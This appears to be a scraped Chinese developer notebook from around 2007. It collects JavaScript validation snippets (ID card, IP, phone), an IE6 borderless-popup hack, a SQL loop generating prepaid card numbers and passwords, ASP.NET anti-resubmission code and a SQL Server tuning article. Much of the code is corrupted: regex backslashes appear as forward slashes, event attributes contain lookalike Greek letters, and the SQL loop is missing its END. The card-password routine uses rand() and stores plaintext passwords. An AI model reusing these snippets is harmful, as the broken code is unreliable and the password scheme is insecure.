    TABLAE相关(客户端动态增加行列)
    <HTML>
    <SCRIPT LANGUAGE="JScript">
    function numberCells() {
    var count=0;
    for (i=0; i < document.all.mytable.rows.length; i++) {
    for (j=0; j < document.all.mytable.rows(i).cells.length; j++) {
    document.all.mytable.rows(i).cells(j).innerText = count;
    count++;
    }
    }
    }
    </SCRIPT>
    <BODY οnlοad="numberCells()">
    <TABLE id=mytable border=1>
    <TR><TH>&nbsp;</TH><TH>&nbsp;</TH><TH>&nbsp;</TH><TH>&nbsp;</TH></TR>
    <TR><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD></TR>
    <TR><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD><TD>&nbsp;</TD></TR>
    </TABLE>
    </BODY>
    </HTML>

    1.身份证严格验证:

    <script>
    var aCity={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江 ",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北 ",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏 ",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外 "}

    function cidInfo(sId){
    var iSum=0
    var info=""
    if(!/^/d{17}(/d|x)$/i.test(sId))return false;
    sId=sId.replace(/x$/i,"a");
    if(aCity[parseInt(sId.substr(0,2))]==null)return "Error:非法地区";
    sBirthday=sId.substr(6,4)+"-"+Number(sId.substr(10,2))+"-"+Number(sId.substr(12,2));
    var d=new Date(sBirthday.replace(/-/g,"/"))
    if(sBirthday!=(d.getFullYear()+"-"+ (d.getMonth()+1) + "-" + d.getDate()))return "Error:非法生日";
    for(var i = 17;i>=0;i --) iSum += (Math.pow(2,i) % 11) * parseInt(sId.charAt(17 - i),11)
    if(iSum%11!=1)return "Error:非法证号";
    return aCity[parseInt(sId.substr(0,2))]+","+sBirthday+","+(sId.substr(16,1)%2?"男":"女")
    }

    document.write(cidInfo("380524198002300016"),"<br/>");
    document.write(cidInfo("340524198002300019"),"<br/>")
    document.write(cidInfo("340524197711111111"),"<br/>")
    document.write(cidInfo("34052419800101001x"),"<br/>");
    </script>

    2.验证IP地址
    <SCRIPT LANGUAGE="JavaScript">
    function isip(s){
    var check=function(v){try{return (v<=255 && v>=0)}catch(x){return false}};
    var re=s.split(".")
    return (re.length==4)?(check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false
    }

    var s="202.197.78.129";
    alert(isip(s))
    </SCRIPT>



    3.加sp1后还能用的无边框窗口!!
    <HTML XMLNS:IE>
    <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
    <IE:Download ID="include" STYLE="behavior:url(#default#download)" />
    <title>Chromeless Window</title>

    <SCRIPT LANGUAGE="JScript">
    /*--- Special Thanks For andot ---*/

    /*
    This following code are designed and writen by Windy_sk <seasonx@163.net>
    You can use it freely, but u must held all the copyright items!
    */

    /*--- Thanks For andot Again ---*/

    var CW_width = 400;
    var CW_height = 300;
    var CW_top = 100;
    var CW_left = 100;
    var CW_url = "/";
    var New_CW = window.createPopup();
    var CW_Body = New_CW.document.body;
    var content = "";
    var CSStext = "margin:1px;color:black; border:2px outset;border-style:expression(οnmοuseοut=οnmοuseup=function(){this.style.borderStyle='outset'}, οnmοusedοwn=function(){if(event.button!=2)this.style.borderStyle='inset'});background-color:buttonface;width:16px;height:14px;font-size:12px;line-height:11px;cursor:Default;";

    //Build Window
    include.startDownload(CW_url, function(source){content=source});

    function insert_content(){
    var temp = "";
    CW_Body.style.overflow = "hidden";
    CW_Body.style.backgroundColor = "white";
    CW_Body.style.border = "solid black 1px";
    content = content.replace(/<a ([^>]*)>/g,"<a οnclick='parent.open(this.href);return false' $1>");
    temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>";
    temp += "<tr style=';font-size:12px;background:#0099CC;height:20;cursor:default' οndblclick=/"Max.innerText=Max.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" οnmοuseup='parent.drag_up(event)' οnmοusemοve='parent.drag_move(event)' οnmοusedοwn='parent.drag_down(event)' onselectstart='return false' οncοntextmenu='return false'>";
    temp += "<td style='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>";
    temp += "<td style='color:#ffffff;padding-right:5px;' align=right>";
    temp += "<span id=Help οnclick=/"alert('Chromeless Window For IE6 SP1 - Ver 1.0//n//nCode By Windy_sk//n//nSpecial Thanks For andot')/" style=/""+CSStext+"font-family:System;padding-right:2px;/">?</span>";
    temp += "<span id=Min οnclick='parent.New_CW.hide();parent.blur()' style=/""+CSStext+"font-family:Webdings;/" title='Minimum'>0</span>";
    temp += "<span id=Max οnclick=/"this.innerText=this.innerText=='1'?'2':'1';parent.if_max=!parent.if_max;parent.show_CW();/" style=/""+CSStext+"font-family:Webdings;/" title='Maximum'>1</span>";
    temp += "<span id=Close οnclick='parent.opener=null;parent.close()' style=/""+CSStext+"font-family:System;padding-right:2px;/" title='Close'>x</span>";
    temp += "</td></tr><tr><td colspan=2>";
    temp += "<div id=include style='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>";
    temp += content;
    temp += "</div>";
    temp += "</td></tr></table>";
    CW_Body.innerHTML = temp;
    }

    setTimeout("insert_content()",1000);

    var if_max = true;
    function show_CW(){
    window.moveTo(10000, 10000);
    if(if_max){
    New_CW.show(CW_top, CW_left, CW_width, CW_height);
    if(typeof(New_CW.document.all.include)!="undefined"){
    New_CW.document.all.include.style.width = CW_width;
    New_CW.document.all.Max.innerText = "1";
    }

    }else{
    New_CW.show(0, 0, screen.width, screen.height);
    New_CW.document.all.include.style.width = screen.width;
    }
    }

    window.onfocus = show_CW;
    window.onresize = show_CW;

    // Move Window
    var drag_x,drag_y,draging=false

    function drag_move(e){
    if (draging){
    New_CW.show(e.screenX-drag_x, e.screenY-drag_y, CW_width, CW_height);
    return false;
    }
    }

    function drag_down(e){
    if(e.button==2)return;
    if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height)return;
    drag_x=e.clientX;
    drag_y=e.clientY;
    draging=true;
    e.srcElement.setCapture();
    }

    function drag_up(e){
    draging=false;
    e.srcElement.releaseCapture();
    if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;
    CW_top = e.screenX-drag_x;
    CW_left = e.screenY-drag_y;
    }

    </SCRIPT>
    </HTML>

    电话号码的验证

    要求:
      (1)电话号码由数字、"("、")"和"-"构成
      (2)电话号码为3到8位
      (3)如果电话号码中包含有区号,那么区号为三位或四位
      (4)区号用"("、")"或"-"和其他部分隔开
      (5)移动电话号码为11或12位,如果为12位,那么第一位为0
      (6)11位移动电话号码的第一位和第二位为"13"
      (7)12位移动电话号码的第二位和第三位为"13"
      根据这几条规则,可以与出以下正则表达式
      (^[0-9]{3,4}/-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^/([0-9]{3,4}/)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)


    <script language="javascript">
    function PhoneCheck(s) {
    var str=s;
    var reg=/(^[0-9]{3,4}/-[0-9]{3,8}$)|(^[0-9]{3,8}$)|(^/([0-9]{3,4}/)[0-9]{3,8}$)|(^0{0,1}13[0-9]{9}$)/
    alert(reg.test(str));
    }
    </script>
    <input type=text name="iphone">
    <input type=button οnclick="PhoneCheck(document.all.iphone.value)" value="Check">

    具有在输入非数字字符不回显的效果,即对非数字字符的输入不作反应。
    function numbersonly(field,event){
    var key,keychar;
    if(window.event){
    key = window.event.keyCode;
    }
    else if (event){
    key = event.which;
    }
    else{
    return true
    }
    keychar = String.fromCharCode(key);
    if((key == null)||(key == 0)||(key == 8)||(key == 9)||(key == 13)||(key == 27)){
    return true;
    }
    else if(("0123456789.").indexOf(keychar)>-1){
    window.status = "";
    return true;
    }
    else {
    window.status = "Field excepts numbers only";
    return false;
    }
    }

    验证ip

    str=document.RegExpDemo.txtIP.value;
    if(/^(/d{1,3})/.(/d{1,3})/.(/d{1,3})/.(/d{1,3})$/.test(str)==false)
    {
    window.alert('错误的IP地址格式');
    document.RegExpDemo.txtIP.select();
    document.RegExpDemo.txtIP.focus();
    return;
    }
    if(RegExp.$1<1 || RegExp.$1>254||RegExp.$2<0||RegExp.$2>254||RegExp.$3<0||RegExp.$3>254||RegExp.$4<1||RegExp.$4>254)
    {
    window.alert('错误的IP地址');
    document.RegExpDemo.txtIP.select();
    document.RegExpDemo.txtIP.focus();
    return;
    }
    //剔除 如 010.020.020.03 前面 的0
    var str=str.replace(/0(/d)/g,"$1");
    str=str.replace(/0(/d)/g,"$1");
    window.alert(str);


    //一下是取数据的类
    //Obj参数指定数据的来源(限定Table),默认第一行为字段名称行
    //GetTableData类提供MoveNext方法,参数是表的行向上或向下移动的位数,正数向下移动,负数向上.
    //GetFieldData方法获得指定的列名的数据
    //Sort_desc方法对指定的列按降序排列
    //Sort_asc方法对指定的列按升序排列
    //GetData方法返回字段值为特定值的数据数组,提供数据,可以在外部进行其他处理
    //Delete方法删除当前记录,数组减少一行
    //初始化,Obj:table的名字,Leftlen:左面多余数据长度,Rightlen:右面多余数据长度,
    function GetTableData(Obj,LeftLen,RightLen){
    var MyObj=document.all(Obj);
    var iRow=MyObj.rows.length;
    var iLen=MyObj.rows[0].cells.length;
    var i,j;

    TableData=new Array();
    for (i=0;i< iRow;i++){
    TableData[i]=new Array();
    for (j=0;j<iLen;j++){
    TableStr=MyObj.rows(i).cells(j).innerText;
    TableStr=TableStr.substring(LeftLen, TableStr.length-RightLen).Trim();
    TableStr=TableStr.replace(/ /gi,"").replace(//r/n/ig,"");
    TableData[i][j]=TableStr;
    }
    }

    this.TableData=TableData;
    this.cols=this.TableData[0].length;
    this.rows=this.TableData.length;
    this.rowindex=0;
    }


    function movenext(Step){
    if (this.rowindex>=this.rows){
    return
    }

    if (Step=="" || typeof(Step)=="undefined") {
    if (this.rowindex<this.rows-1)
    this.rowindex++;
    return;

    }
    else{
    if (this.rowindex + Step<=this.rows-1 && this.rowindex + Step>=0 ){
    this.rowindex=this.rowindex + Step;
    }
    else
    {
    if (this.rowindex + Step<0){
    this.rowindex= 0;
    return;
    }
    if (this.rowindex + Step>this.rows-1){
    this.rowindex= this.rows-1;
    return;
    }
    }
    }
    }


    function getfielddata(Field){
    var colindex=-1;
    var i=0;
    if (typeof(Field) == "number"){
    colindex=Field;
    }
    else
    {
    for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
    if (this.TableData[0][i]==Field){
    colindex=i;
    break;
    }
    }
    }
    if (colindex!=-1) {
    return this.TableData[this.rowindex][colindex];
    }

    }



    function sort_desc(){//降序
    var colindex=-1;
    var highindex=-1;
    desc_array=new Array();
    var i,j;
    for (n=0; n<arguments.length; n++){
    Field=arguments[arguments.length-1-n];
    for (i=0;i<this.cols;i++){
    if (this.TableData[0][i]==Field){
    colindex=i;
    break;
    }
    }
    if ( colindex==-1 )
    return;
    else
    {
    desc_array[0]=this.TableData[0];
    for(i=1;i<this.rows;i++){
    desc_array[i]=this.TableData[1];
    highindex=1;
    for(j=1;j<this.TableData.length;j++){
    if (desc_array[i][colindex]<this.TableData[j][colindex]){
    desc_array[i]=this.TableData[j];
    highindex=j;
    }

    }
    if (highindex!=-1)
    this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));
    }
    }


    this.TableData=desc_array;
    }
    return;
    }



    function sort_asc(){//升序
    var colindex=-1;
    var highindex=-1;
    var i,j;
    for (n=0; n<arguments.length; n++){
    asc_array=new Array();
    Field=arguments[arguments.length-1-n];
    for (i=0;i<this.cols;i++){
    if (this.TableData[0][i]==Field){
    colindex=i;
    break;
    }
    }
    if ( colindex==-1 )
    return;
    else
    {
    asc_array[0]=this.TableData[0];
    for(i=1;i<this.rows;i++){
    asc_array[i]=this.TableData[1];
    highindex=1;
    for(j=1;j<this.TableData.length;j++){//找出最小的列值
    if (asc_array[i][colindex]>this.TableData[j][colindex]){
    asc_array[i]=this.TableData[j];
    highindex=j;

    }

    }
    if (highindex!=-1)
    this.TableData=this.TableData.slice(0,highindex).concat(this.TableData.slice(highindex+1,this.TableData.length));

    }
    }


    this.TableData=asc_array;
    }
    return;
    }



    function getData(Field,FieldValue){
    var colindex=-1;
    var i,j;

    GetData=new Array();
    if (typeof(Field)=="undefined" || typeof(FieldValue)=="undefined" ){
    return this.TableData;
    }

    for(j=0;j<this.cols;j++){
    if (this.TableData[0][j]==Field){
    colindex=j;
    }
    }
    if (colindex!=-1){

    for(i=1;i<this.rows;i++){
    if (this.TableData[i][colindex]==FieldValue){
    GetData[i]=new Array();
    GetData[i]=this.TableData[i];
    }
    }
    }
    return GetData;
    }
    function DeletE(){
    this.TableData=this.TableData.slice(0,this.rowindex).concat(this.TableData.slice(this.rowindex+1,this.TableData.length));
    this.rows=this.TableData.length;
    return;
    }
    function updateField(Field,FieldValue){
    var colindex=-1;
    var i=0;
    if (typeof(Field) == "number"){
    colindex=Field;
    }
    else
    {
    for (i=0;i<this.cols && this.rowindex<this.rows ;i++){
    if (this.TableData[0][i]==Field){
    colindex=i;
    break;
    }
    }
    }
    if (colindex!=-1) {
    this.TableData[this.rowindex][colindex]=FieldValue;
    }


    }
    function movefirst(){
    this.rowindex=0;
    }
    function movelast(){
    this.rowindex=this.rows-1;
    }
    function String.prototype.Trim() {return this.replace(/(^/s*)|(/s*$)/g,"");}
    GetTableData.prototype.MoveNext = movenext;
    GetTableData.prototype.GetFieldData = getfielddata;
    GetTableData.prototype.Sort_asc = sort_asc;
    GetTableData.prototype.Sort_desc = sort_desc;
    GetTableData.prototype.GetData = getData;
    GetTableData.prototype.Delete = DeletE;
    GetTableData.prototype.UpdateField = updateField;
    GetTableData.prototype.MoveFirst = movefirst;

    具体的例子:http://202.119.73.208/NetEAn/com/test/jsprint.htm

    在每个文本框的onblur事件中调用校验代码,并且每个文本框中onKeyDown事件中写一个enter转tab函数

    //回车键换为tab
    function enterToTab()
    {
    if(event.srcElement.type != 'button' && event.srcElement.type != 'textarea'
    && event.keyCode == 13)
    {
    event.keyCode = 9;
    }

    2007/7/5

    SQL的自动生成卡号和密码

    declare @i bigint,@j int,@str nvarchar(160) ,@int_temp int,@str_temp nvarchar(10),@Card_NO nvarchar(10)
    ;
    set @i = 10200001;
    while (@i<=10250000)
    begin
    set @j = 0;
    set @str='';
    while (@j<=16)
    begin
    set @int_temp=rand()*9;
    set @str_temp=str(@int_temp);
    set @str=@str+@str_temp;
    set @j=@j+1;
    end
    set @Card_NO=str(@i);
    set @str=replace(@str,' ','');
    insert into IN_Card (Card_No,[Password],[Value])values(@Card_NO,@str,100);
    set @i=@i+1;
    2007/3/17

    Asp.Net防止刷新重复提交数据

      最近在用Asp.Net编写点东西时遇到个问题:即用户在提交表单后按刷新就会重复提交数据,即所谓的“刷新重复提交”的问题。在网上搜 一下,可以找到很多关于这方面的资料,其中有一篇是来自MSDN上的一种解决方法: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnvs05/html/BedrockASPNET.asp 它是通过重新定义 System.Web.UI.Page 类来实现加载页面时,是“刷新”、“后退”请求,还是正常请求,其他的页面则继承了自定义的这 个Page类。感觉他这个方法比较独特,有例子可以下载,有兴趣的可以研究研究。
    网上最多的解决此类问题的方法就是不保存缓存,即提交后表单上的数据不会被浏览器的缓存保存,如果此时再遇到刷新或者后退请求时, 就会显示“网页已过期”,数据也就不会重复提交了,这就起到了阻止刷新重复提交的效果。
    下面以简单的提交一篇帖子为例,介绍禁用缓存防止刷新重复提交的方法,表单数据包括“标题”和“正文”两个部分。
    以下是该方法的代码(post.aspx):

    CODE:
    //页面加载
    protected void Page_Load(object sender, EventArgs e)
    {
       //可以在页面加载时设置页面的缓存为“SetNoStore()”,即无缓存
       Response.Cache.SetNoStore();
       //Session中存储的变量“IsSubmit”是标记是否提交成功的
       if ((bool)Session["IsSubmit"])
       {
         //如果表单数据提交成功,就设“Session["IsSubmit"]”为false
         Session["IsSubmit"] = false;
         //显示提交成功信息
         ShowMsg.Text = " * 提交成功!";
       }
       else
         //否则的话(没有提交,或者是页面刷新),不显示任何信息
         ShowMsg.Text = "";
    }
    //提交按钮(btnOK)单击事件
    protected void btnOK_Click(object sender, EventArgs e)
    {
       if (txtTitle.Text.ToString().Trim() == "")
         //ShowMsg是用来显示提示信息的
         ShowMsg.Text = " * 标题不能为空!";
      else if (txtText.Text.ToString().Trim() == "")
         ShowMsg.Text = " * 内容不能为空!";
      else
       {
         //这里是将数据提交到数据库中,省略
         /*
         string sql = "insert into tab...values(...)";
         MyConn.ExecQuery(sql);
         */
         //提交成功后,设“Session["IsSubmit"]”为true
         Session["IsSubmit"] = true;
         //强制转换页面(不可少,否则刷新仍会重复提交,仍转到本页),
         通过页面的转换将缓存中的提交的数据都释放了,即提交的标单数据不会被保存到缓存里,
         如果后退的话,将会出现该页无法显示
         Response.Redirect("post.aspx");
      }
    }

    上面这个方法非常简单也很实用,推荐大家使用。
    下面是我自己研究出来的另一种方法,该方法不同于“不保存缓存的方法”,它是让浏览器保存所有页面缓存的。该方法通过随机码的方式 来判断是正常提交还是“刷新”或“后退”的。
    首先(提交页面是post.aspx)在 Session 中 增加变量 Rnd 用来存放随机码,同时在提交表单数据时不做处理,而是让页面转到 post.aspx?r=x,这里“x”等于Session["Rnd"],这个时候在页面加载时,通过判断r的值和Session["Rnd"]的值是否相同,如果相同就处理提 交的数据,否则即可认为是“刷新”或者是“后退”操作了,最后再次付给Session["Rnd"]一个随机码。
    以下是该方法代码(post.aspx):
     
    CODE:
    //获取随机码
    public class MyRnd
    {
       public static string Rnd()
       {
         //随机码是由 0-9 a-z A-Z 之间的数字或字母组成的
         //下面是生成的20位随机码
         //0..9 A..Z a..z
         //48-57 65-90 97-122
         string rst = "";
         Random rr = new Random();
         for (int i = 0; i < 20; i++)
         {
           int ir = 0;
           do
           {
             ir = rr.Next(123);
             if((ir >= 48) && (ir <= 57)) break;
             else if((ir >= 65) && (ir <= 90)) break;
             else if ((ir >= 97) && (ir <= 122)) break;
           }
           while (true);
           rst += ((char)ir).ToString();
           }
         return rst;
       }
    }
    //页面加载
    protected void Page_Load(object sender, EventArgs e)
    {
       //获取URL中请求的“r”值,如果“r”不存在则 r=""
       string r = "";
       if(Request.QueryString["r"] != null)
         r = Request.QueryString["r"].ToString().Trim();
       string t;
       //获取 “Session” 中的 “Rnd” 值,用于和“r”比较
       t = Session["Rnd"].ToString().Trim();
       //如果“r=t”则为提交操作,即可对表单的数据进行处理
      if(r == t)
      {
         if (txtTitle.Text.ToString().Trim() == "")
           ShowMsg.Text = " * 标题不能为空!";
         else if (txtText.Text.ToString().Trim() == "")
           ShowMsg.Text = " * 内容不能为空!";
         else      {
           //这里是将数据提交到数据库中,省略
           /*
           string sql = "insert into tab...values(...)";
           MyConn.ExecQuery(sql);
           */
           //提交成功后清空表单数据
           txtTitle.Text = "";
           txtText.Text = "";
           //显示提交成功信息
           ShowMsg.Text = " * 提交成功!";
         }
      }
       //否则可以认为是“刷新”或者“后退”操作
       else
       {
           txtTitle.Text = "";
           txtText.Text = "";
      }
      //最后要重新获得“Session["Rnd"]”的值,并将“btnOK.PostBackUrl”设为“Session["Rnd"]”的值
      Session["Rnd"] = MyRnd.Rnd();
      btnOK.PostBackUrl ="post.aspx?r=" + Session["Rnd"].ToString().Trim();
    }
    //这里提交按钮(btnOK)单击事件就不需要写任何代码了

    通过这种方法,每次加载页面时“Session["Rnd"]”都将得到一个新的值,而在刷新或后退时就不会得到相同的“r”和“t”值,数据也就 不会被重复提交,只有通过“btnOK”来提交的操作才会得到“r==t”,数据才会被提交处理的,通过判断随机码的方式来阻止刷新重复提交就 可以实现了。
    2007/2/8

    提高SQL Server性能

    有时,为了让应用程序运行得更快,所做的全部工作就是在这里或那里做一些很小调整。但关键在于确定如何进行调整!迟早您会遇到这种情况:应用程序中的 SQL 查询不能按照您想要的方式进行响应。它要么不返回数据,要么耗费的时间长得出奇。如果它降低了企业应用程序的速度,用户必须等待很长时间。用户希望应用程序响应迅速,他们的报告能够在瞬间之内返回分析数据。就我自己而言,如果在Web上冲浪时某个页面要耗费十多秒才能加载,我也会很不耐烦。

      为了解决这些问题,重要的是找到问题的根源。那么,从哪里开始呢?根本原因通常在于数据库设计和访问它的查询。我将讲述四项技术,这些技术可用于提高基于SQL Server的应用程序的性能或改善其可伸缩性。我将仔细说明 LEFT JOIN、CROSS JOIN 的使用以及IDENTITY 值的检索。请记住,根本没有神奇的解决方案。调整您的数据库及其查询需要占用时间、进行分析,还需要大量的测试。这些技术都已被证明行之有效,但对您的应用程序而言,可能其中一些技术比另一些技术更适用。

      从 INSERT 返回 IDENTITY

      我决定从遇到许多问题的内容入手:如何在执行SQL INSERT后检索IDENTITY值。通常,问题不在于如何编写检索值的查询,而在于在哪里以及何时进行检索。在SQL Server中,下面的语句可用于检索由最新在活动数据库连接上运行的 SQL 语句所创建的 IDENTITY 值:

      SELECT @@IDENTITY

      这个 SQL 语句并不复杂,但需要记住的一点是:如果这个最新的 SQL 语句不是 INSERT,或者您针对非 INSERT SQL 的其他连接运行了此 SQL,则不会获得期望的值。您必须运行下列代码才能检索紧跟在 INSERT SQL 之后且位于同一连接上的 IDENTITY,如下所示:

      INSERT INTO Products (ProductName) VALUES ('Chalk')

      SELECT @@IDENTITY

      在一个连接上针对 Northwind 数据库运行这些查询将返回一个名称为 Chalk 的新产品的 IDENTITY 值。所以,在使用ADOVisual Basic应用程序中,可以运行以下语句:

      Set oRs = oCn.Execute("SET NOCOUNT ON;INSERT INTO Products _

      (ProductName) VALUES ('Chalk');SELECT @@IDENTITY")

      lProductID = oRs(0) 

      此代码告诉 SQL Server 不要返回查询的行计数,然后执行 INSERT 语句,并返回刚刚为这个新行创建的 IDENTITY 值。SET NOCOUNT ON 语句表示返回的记录集有一行和一列,其中包含了这个新的 IDENTITY 值。如果没有此语句,则会首先返回一个空的记录集(因为 INSERT 语句不返回任何数据),然后会返回第二个记录集,第二个记录集中包含 IDENTITY 值。这可能有些令人困惑,尤其是因为您从来就没有希望过 INSERT 会返回记录集。之所以会发生此情况,是因为 SQL Server 看到了这个行计数(即一行受到影响)并将其解释为表示一个记录集。因此,真正的数据被推回到了第二个记录集。当然您可以使用 ADO 中的 NextRecordset 方法获取此第二个记录集,但如果总能够首先返回该记录集且只返回该记录集,则会更方便,也更有效率。

      此方法虽然有效,但需要在 SQL 语句中额外添加一些代码。获得相同结果的另一方法是在 INSERT 之前使用 SET NOCOUNT ON 语句,并将 SELECT @@IDENTITY 语句放在表中的 FOR INSERT 触发器中,如下面的代码片段所示。这样,任何进入该表的 INSERT 语句都将自动返回 IDENTITY 值。

      CREATE TRIGGER trProducts_Insert ON Products FOR INSERT AS

      SELECT @@IDENTITY

      GO

      触发器只在 Products 表上发生 INSERT 时启动,所以它总是会在成功 INSERT 之后返回一个 IDENTITY。使用此技术,您可以始终以相同的方式在应用程序中检索 IDENTITY 值。

    内嵌视图与临时表

      某些时候,查询需要将数据与其他一些可能只能通过执行 GROUP BY 然后执行标准查询才能收集的数据进行联接。例如,如果要查询最新五个定单的有关信息,您首先需要知道是哪些定单。这可以使用返回定单 ID 的 SQL 查询来检索。此数据就会存储在临时表(这是一个常用技术)中,然后与 Products 表进行联接,以返回这些定单售出的产品数量:

      CREATE TABLE #Temp1 (OrderID INT NOT NULL, _

      OrderDate DATETIME NOT NULL)

      INSERT INTO #Temp1 (OrderID, OrderDate)

      SELECT TOP 5 o.OrderID, o.OrderDate

      FROM Orders o ORDER BY o.OrderDate DESC

      SELECT p.ProductName, SUM(od.Quantity) AS ProductQuantity

      FROM #Temp1 t

      INNER JOIN [Order Details] od ON t.OrderID = od.OrderID

      INNER JOIN Products p ON od.ProductID = p.ProductID

      GROUP BY p.ProductName

      ORDER BY p.ProductName

      DROP TABLE #Temp1

      这些 SQL 语句会创建一个临时表,将数据插入该表中,将其他数据与该表进行联接,然后除去该临时表。这会导致此查询进行大量 I/O 操作,因此,可以重新编写查询,使用内嵌视图取代临时表。内嵌视图只是一个可以联接到 FROM 子句中的查询。所以,您不用在 tempdb 中的临时表上耗费大量 I/O 和磁盘访问,而可以使用内嵌视图得到同样的结果:

      SELECT p.ProductName,

      SUM(od.Quantity) AS ProductQuantity

      FROM (

      SELECT TOP 5 o.OrderID, o.OrderDate

      FROM Orders o

      ORDER BY o.OrderDate DESC

      ) t

      INNER JOIN [Order Details] od ON t.OrderID = od.OrderID

      INNER JOIN Products p ON od.ProductID = p.ProductID

      GROUP BY

      p.ProductName

      ORDER BY

      p.ProductName

      此查询不仅比前面的查询效率更高,而且长度更短。临时表会消耗大量资源。如果只需要将数据联接到其他查询,则可以试试使用内嵌视图,以节省资源。

      避免 LEFT JOIN 和 NULL

      当然,有很多时候您需要执行 LEFT JOIN 和使用 NULL 值。但是,它们并不适用于所有情况。改变 SQL 查询的构建方式可能会产生将一个花几分钟运行的报告缩短到只花几秒钟这样的天壤之别的效果。有时,必须在查询中调整数据的形态,使之适应应用程序所要求的显示方式。虽然 TABLE 数据类型会减少大量占用资源的情况,但在查询中还有许多区域可以进行优化。SQL 的一个有价值的常用功能是 LEFT JOIN。它可以用于检索第一个表中的所有行、第二个表中所有匹配的行、以及第二个表中与第一个表不匹配的所有行。例如,如果希望返回每个客户及其定单,使用 LEFT JOIN 则可以显示有定单和没有定单的客户。

      此工具可能会被过度使用。LEFT JOIN 消耗的资源非常之多,因为它们包含与 NULL(不存在)数据匹配的数据。在某些情况下,这是不可避免的,但是代价可能非常高。LEFT JOIN 比 INNER JOIN 消耗资源更多,所以如果您可以重新编写查询以使得该查询不使用任何 LEFT JOIN,则会得到非常可观的回报。

      加快使用 LEFT JOIN 的查询速度的一项技术涉及创建一个 TABLE 数据类型,插入第一个表(LEFT JOIN 左侧的表)中的所有行,然后使用第二个表中的值更新 TABLE 数据类型。此技术是一个两步的过程,但与标准的 LEFT JOIN 相比,可以节省大量时间。一个很好的规则是尝试各种不同的技术并记录每种技术所需的时间,直到获得用于您的应用程序的执行性能最佳的查询。

      测试查询的速度时,有必要多次运行此查询,然后取一个平均值。因为查询(或存储过程)可能会存储在 SQL Server 内存中的过程缓存中,因此第一次尝试耗费的时间好像稍长一些,而所有后续尝试耗费的时间都较短。另外,运行您的查询时,可能正在针对相同的表运行其他查询。当其他查询锁定和解锁这些表时,可能会导致您的查询要排队等待。例如,如果您进行查询时某人正在更新此表中的数据,则在更新提交时您的查询可能需要耗费更长时间来执行。

      避免使用 LEFT JOIN 时速度降低的最简单方法是尽可能多地围绕它们设计数据库。例如,假设某一产品可能具有类别也可能没有类别。如果 Products 表存储了其类别的 ID,而没有用于某个特定产品的类别,则您可以在字段中存储 NULL 值。然后您必须执行 LEFT JOIN 来获取所有产品及其类别。您可以创建一个值为“No Category”的类别,从而指定外键关系不允许 NULL 值。通过执行上述操作,现在您就可以使用 INNER JOIN 检索所有产品及其类别了。虽然这看起来好像是一个带有多余数据的变通方法,但可能是一个很有价值的技术,因为它可以消除 SQL 批处理语句中消耗资源较多的 LEFT JOIN。在数据库中全部使用此概念可以为您节省大量的处理时间。请记住,对于您的用户而言,即使几秒钟的时间也非常重要,因为当您有许多用户正在访问同一个联机数据库应用程序时,这几秒钟实际上的意义会非常重大。

    灵活使用笛卡尔乘积

      对于此技巧,我将进行非常详细的介绍,并提倡在某些情况下使用笛卡尔乘积。出于某些原因,笛卡尔乘积 (CROSS JOIN) 遭到了很多谴责,开发人员通常会被警告根本就不要使用它们。在许多情况下,它们消耗的资源太多,从而无法高效使用。但是像 SQL 中的任何工具一样,如果正确使用,它们也会很有价值。例如,如果您想运行一个返回每月数据(即使某一特定月份客户没有定单也要返回)的查询,您就可以很方便地使用笛卡尔乘积。

      虽然这看起来好像没什么神奇的,但是请考虑一下,如果您从客户到定单(这些定单按月份进行分组并对销售额进行小计)进行了标准的 INNER JOIN,则只会获得客户有定单的月份。因此,对于客户未订购任何产品的月份,您不会获得 0 值。如果您想为每个客户都绘制一个图,以显示每个月和该月销售额,则可能希望此图包括月销售额为 0 的月份,以便直观标识出这些月份。如果使用 Figure 2(最后一页) 中的 SQL,数据则会跳过销售额为 0 美元的月份,因为在定单表中对于零销售额不会包含任何行(假设您只存储发生的事件)。

      Figure 3(最后一页)中的代码虽然较长,但是可以达到获取所有销售数据(甚至包括没有销售额的月份)的目标。首先,它会提取去年所有月份的列表,然后将它们放入第一个 TABLE 数据类型表 (@tblMonths) 中。下一步,此代码会获取在该时间段内有销售额的所有客户公司的名称列表,然后将它们放入另一个 TABLE 数据类型表 (@tblCus-tomers) 中。这两个表存储了创建结果集所必需的所有基本数据,但实际销售数量除外。 第一个表中列出了所有月份(12 行),第二个表中列出了这个时间段内有销售额的所有客户(对于我是 81 个)。并非每个客户在过去 12 个月中的每个月都购买了产品,所以,执行 INNER JOIN 或 LEFT JOIN 不会返回每个月的每个客户。这些操作只会返回购买产品的客户和月份。

      笛卡尔乘积则可以返回所有月份的所有客户。笛卡尔乘积基本上是将第一个表与第二个表相乘,生成一个行集合,其中包含第一个表中的行数与第二个表中的行数相乘的结果。因此,笛卡尔乘积会向表 @tblFinal 返回 972 行。最后的步骤是使用此日期范围内每个客户的月销售额总计更新 @tblFinal 表,以及选择最终的行集。

